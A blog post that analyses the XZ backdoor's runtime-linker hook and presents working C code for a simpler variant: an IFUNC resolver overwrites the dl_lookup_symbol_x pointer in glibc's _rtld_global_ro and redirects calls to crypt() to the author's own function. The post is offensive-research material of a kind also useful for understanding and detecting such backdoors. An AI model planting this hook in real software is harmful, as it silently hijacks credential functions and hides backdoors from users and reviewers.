Wednesday, October 29, 2025

Runtime hooks

I was looking for a way to improve the hook mechanism in the XZ backdoor and found a method that allows you to achieve the same thing without disassembling functions or performing other expensive operations. To intercept symbol resolution, the backdoor impersonates an audit library and patches the runtime linker. It needs the offsets of the dl_naudit and dl_audit fields in _rtld_global_ro, and l_audit_any_plt in link_map:


void
_dl_audit_symbind_alt (struct link_map *l, const ElfW(Sym) *ref, void **value,
                       lookup_t result)
{
  if ((l->l_audit_any_plt | result->l_audit_any_plt) == 0)
    return;

  // ...

  struct audit_ifaces *afct = GLRO(dl_audit);
  for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
  // ...
  uintptr_t new_value = afct->symbind (&sym, //...

I decided to look at the path that leads to the hook calls. _dl_audit_symbind_alt is invoked from _dl_sym_post, and _dl_sym_post is invoked from do_sym. The bulk of the work is performed by the function dl_lookup_symbol_x, a pointer to which is also stored in GLRO!

*** elf/dl-sym.c ***
static void *
do_sym (void *handle, const char *name, void *who,
        struct r_found_version *vers, int flags)
{
// ..........
      /* Search the scope of the given object.  */
      struct link_map *map = handle;
      result = GLRO(dl_lookup_symbol_x) (name, map, &ref, map->l_local_scope,
                                         vers, 0, flags, NULL);
    }
// ............
        value = DL_SYMBOL_ADDRESS (result, ref);

      return _dl_sym_post (result, ref, value, caller, match);
    }

  return NULL;
}

*** elf/dl-sym-post.h ***
*** elf/dl-sym-post.h ***

static void *
_dl_sym_post (lookup_t result, const ElfW(Sym) *ref, void *value,
              ElfW(Addr) caller, struct link_map *match)
{
// ............
  if (__glibc_unlikely (GLRO(dl_naudit) > 0))
    {
      if (match == NULL)
        match = _dl_sym_find_caller_link_map (caller);
      _dl_audit_symbind_alt (match, ref, &value, result);
    }

If it's possible to patch the dl_lookup_symbol_x pointer, you can achieve exactly the same effect, but I ran into the same problem as the backdoor's author: you need to find the pointer's offset in GLRO. Of course, finding a single pointer is easier than searching for bitfield offsets, but nonetheless...

sysdeps/generic/ldsodefs.h
struct rtld_global_ro
{
// ...
  /* We add a function table to _rtld_global which is then used to
     call the function instead of going through the PLT.  The result
     is that we can avoid exporting the functions and we do not jump
     PLT relocations in libc.so.  */
  void (*_dl_debug_printf) (const char *, ...)
       __attribute__ ((__format__ (__printf__, 1, 2)));
  void (*_dl_mcount) (ElfW(Addr) frompc, ElfW(Addr) selfpc);
  lookup_t (*_dl_lookup_symbol_x) (const char *, struct link_map *,
// ...
 /* List of auditing interfaces.  */
  struct audit_ifaces *_dl_audit;
  unsigned int _dl_naudit;

But if we know the address of some global function whose address is also stored in the structure, we can simply locate it inside the structure and compute the offset from the found field to the one we need.

# objdump -T /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
...
0000000000039ac0 g    DO .data.rel.ro	0000000000000008  GLIBC_PRIVATE _dl_argv
00000000000107b0 g    DF .text	        0000000000000257  GLIBC_2.2.5 _dl_mcount
...

_dl_mcount will do, the one we need is located immediately after it.

rtld_global_ro can only be modified while linking is in progress. That’s why the backdoor’s author used an IFUNC constructor. That's what we'll do


static void ii(void) __attribute__((__ifunc__("is")));
static void *ij = &ii;
typedef void (*it)();

static it is()
{
        printf("* ifunc\n");
        /* get our link_map */
        for (lm = _r_debug.r_map; lm != NULL; lm = lm->l_prev)
                if (*lm->l_name == 0)
                        break;
        /* get symbols */
        void *rtld = (void*)_r_debug.r_ldbase;
        void *glro = rtld + lookup(rtld, "_rtld_global_ro")->st_value;
        void *dlmc = rtld + lookup(rtld, "_dl_mcount")->st_value;
        assert(glro != NULL && dlmc != NULL);
        /* get GLRO(dl_lookup_symbol_x) */
        void **dllx = NULL;
        for (int i = 0; i < 0x400; i += 8)
                if (*(void**)(glro + i) == dlmc)  {
                        printf("GLRO(dl_mcount) @ %x\n", i);
                        dllx = glro + i + 8;
                        break;
                }
        assert(dllx != NULL);
        /* it is still rw, hook it */
        orig_dl_lookup_symbol_x = *dllx;
        *dllx = ours_dl_lookup_symbol_x;
        return NULL;
}

static __attribute__((constructor)) void init(void)
{
        /* at this point GLRO is read only */
        printf("* constructor, it's too late\n");
}

And we’ll replace what the original _dl_lookup_symbol_x returned with our own values. We’ll substitute link_map and Elf64_Sym with ours.


static lookup_t ours_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
        const Elf64_Sym **ref, void *symbol_scope[], const void *version,
        int type_class, int flags, struct link_map *skip_map)
{
        lookup_t res = orig_dl_lookup_symbol_x(undef_name, undef_map, ref,
                symbol_scope, version, type_class, flags, skip_map);
        printf("hook '%s'\n", undef_name);
        if (! strcmp(undef_name, "crypt")) {
                orig = (void*)res->l_addr + (*ref)->st_value;
                *ref = lookup((void*)lm->l_addr, "crypt");
                res = lm;
        }
        return res;
}

And it just works

$ gcc -Wl,--export-dynamic rthook.c -o rthook # full code on github
$ ./rthook
* ifunc
_rtld_global_ro @ 39ae0
_dl_mcount @ 107b0
GLRO(dl_mcount) @ 338
* constructor, it's too late
* main
dlsym(crypt)
hook 'crypt'
crypt @ 149a
Trust me, I am crypt()
calling original aaQSqAReePlq6

No comments:

Post a Comment